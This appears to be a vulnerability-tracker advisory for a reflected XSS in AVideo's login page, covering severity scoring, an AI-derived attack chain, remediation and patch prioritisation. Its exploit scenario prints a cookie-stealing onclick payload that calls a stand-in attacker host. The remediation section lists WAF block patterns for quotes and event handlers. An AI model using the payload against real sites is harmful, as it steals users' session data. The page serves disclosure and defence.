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AVideo EUVDEUVD-2026-70394

| CVE-2026-85159 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-03 VulnCheck GHSA-gr2c-r9h3-6533
5.3
CVSS 4.0 · Vendor: VulnCheck
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious cancelUri parameter with embedded event handler
  2. Delivery
    Deliver phishing link to AVideo user
  3. Exploit
    Victim opens userLogin.php via attacker URL
  4. Execution
    Victim clicks Cancel button
  5. Persist
    Injected JavaScript executes in victim browser
  6. Impact
    Attacker receives exfiltrated data or performs session manipulation

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

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Exploitation Conditions

Exploitation requires that the target AVideo instance is network-accessible and running userLogin.php (the standard login page, enabled by default). The attacker must deliver the crafted URL to a victim - no server-side session or credentials are needed by the attacker (PR:N). The critical limiting factor is user interaction: the victim must click the Cancel button on the login page after following the malicious link (UI:P); simply loading the page does not trigger execution. No special server configuration is required; the vulnerability is present in the default deployment of all versions through commit c91b5975d.

Impact

The CVSS 4.0 score of 5.3 (Medium) reflects the realistic exploitation barrier: the attack requires user interaction (UI:P - victim must click the Cancel anchor) and achieves only limited confidentiality and integrity impact (VC:L/VI:L). No KEV listing and no explicit POC are present in the available intelligence, placing exploitation likelihood in the lower tier. However, reflected XSS on a login page is particularly sensitive because victims are by definition not yet authenticated - session cookies may be absent, but the attacker can still redirect the victim, capture credentials via DOM manipulation, or deliver secondary payloads. The AV:N/AC:L/PR:N combination means delivery is trivially automated (embed the crafted URL in phishing email or QR code), lowering the effective effort despite the UI dependency. EPSS data is absent from the input; no independent exploitation probability can be cited. The overall real-world priority is moderate: meaningful for organizations operating externally accessible AVideo instances with an active user base, lower for intranet-only deployments.

Exploit ScenarioDerived

An attacker crafts a URL to the target AVideo instance's userLogin.php, embedding a cancelUri value such as /page'onclick='fetch(https://attacker.example/steal?c=+document.cookie)' that passes the protocol-only check. The attacker distributes the URL via phishing email to users of the AVideo site. When a recipient clicks the link and then clicks the Cancel button on the login page, the injected onclick handler fires, exfiltrating any accessible browser state or redirecting the victim to an attacker-controlled page.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

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AnalysisAIv1 – Sep 03, 2026

Reflected cross-site scripting in AVideo's userLogin.php allows unauthenticated network attackers to execute arbitrary JavaScript in a victim's browser by supplying a crafted cancelUri parameter. The isSafeRedirectURL validation function restricts only the URL protocol, leaving HTML metacharacters unchecked; a relative URL containing embedded quotes and event handlers bypasses the check entirely and is reflected verbatim into the href attribute of the Cancel button. Exploitation requires a victim to interact with the Cancel button after following a malicious link, placing this in the phishing-dependent reflected-XSS risk class.

RemediationAI

The primary fix is to apply the patch referenced in the GitHub security advisory GHSA-mw3g-2292-vw4c (https://github.com/WWBN/AVideo/security/advisories/GHSA-mw3g-2292-vw4c). No specific patched release version is confirmed in the available data - administrators should verify the current HEAD or release on the WWBN/AVideo GitHub repository against commit c91b5975d and apply any subsequent commits that address cancelUri encoding. As an interim compensating control, a WAF rule rejecting requests to userLogin.php where the cancelUri parameter contains single quotes, double quotes, angle brackets, or common event-handler substrings (onclick, onerror, onmouseover) can block the most obvious payloads; note this may false-positive on legitimate redirect URIs containing encoded special characters. Alternatively, disabling external linking to userLogin.php from outside trusted referrers via HTTP Referer policy reduces phishing-delivered exploit delivery without impacting functionality.

Affected VersionsENISA

AVideo 0 ≤c91b5975d

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Technical ContextAI · show details

AVideo (CPE: cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*) is a PHP-based self-hosted video streaming and transcoding platform maintained by WWBN. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically an incomplete output-encoding path in userLogin.php: the cancelUri GET parameter is passed through isSafeRedirectURL, which validates only the URI scheme to block javascript: and similar protocol-handler payloads, then reflected directly into an HTML href attribute without HTML-entity encoding. Because relative URLs (e.g., /path'onclick='...') contain no protocol, they pass the allowlist unchallenged, and the unescaped single-quote breaks out of the attribute context to inject arbitrary HTML event handlers. The attack surface is the publicly accessible login page, requiring no prior session.

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Severity by source

Vendor (VulnCheck) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered reflected XSS requiring victim to click Cancel; scope change as payload executes in victim browser; no confidentiality or integrity impact on the server itself.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

AVideo through commit c91b5975d contains a reflected cross-site scripting vulnerability in userLogin.php where the cancelUri parameter is echoed in an href attribute after isSafeRedirectURL checks protocol only, not HTML characters. Unauthenticated attackers can inject event handlers via relative URLs with embedded quotes to execute arbitrary JavaScript when users interact with the Cancel button.

Threat Intelligence Overview

EPSS Score
0.2%
Top 94% exploitable
Prevalence
Low
self-hosted open-source video platform, limited enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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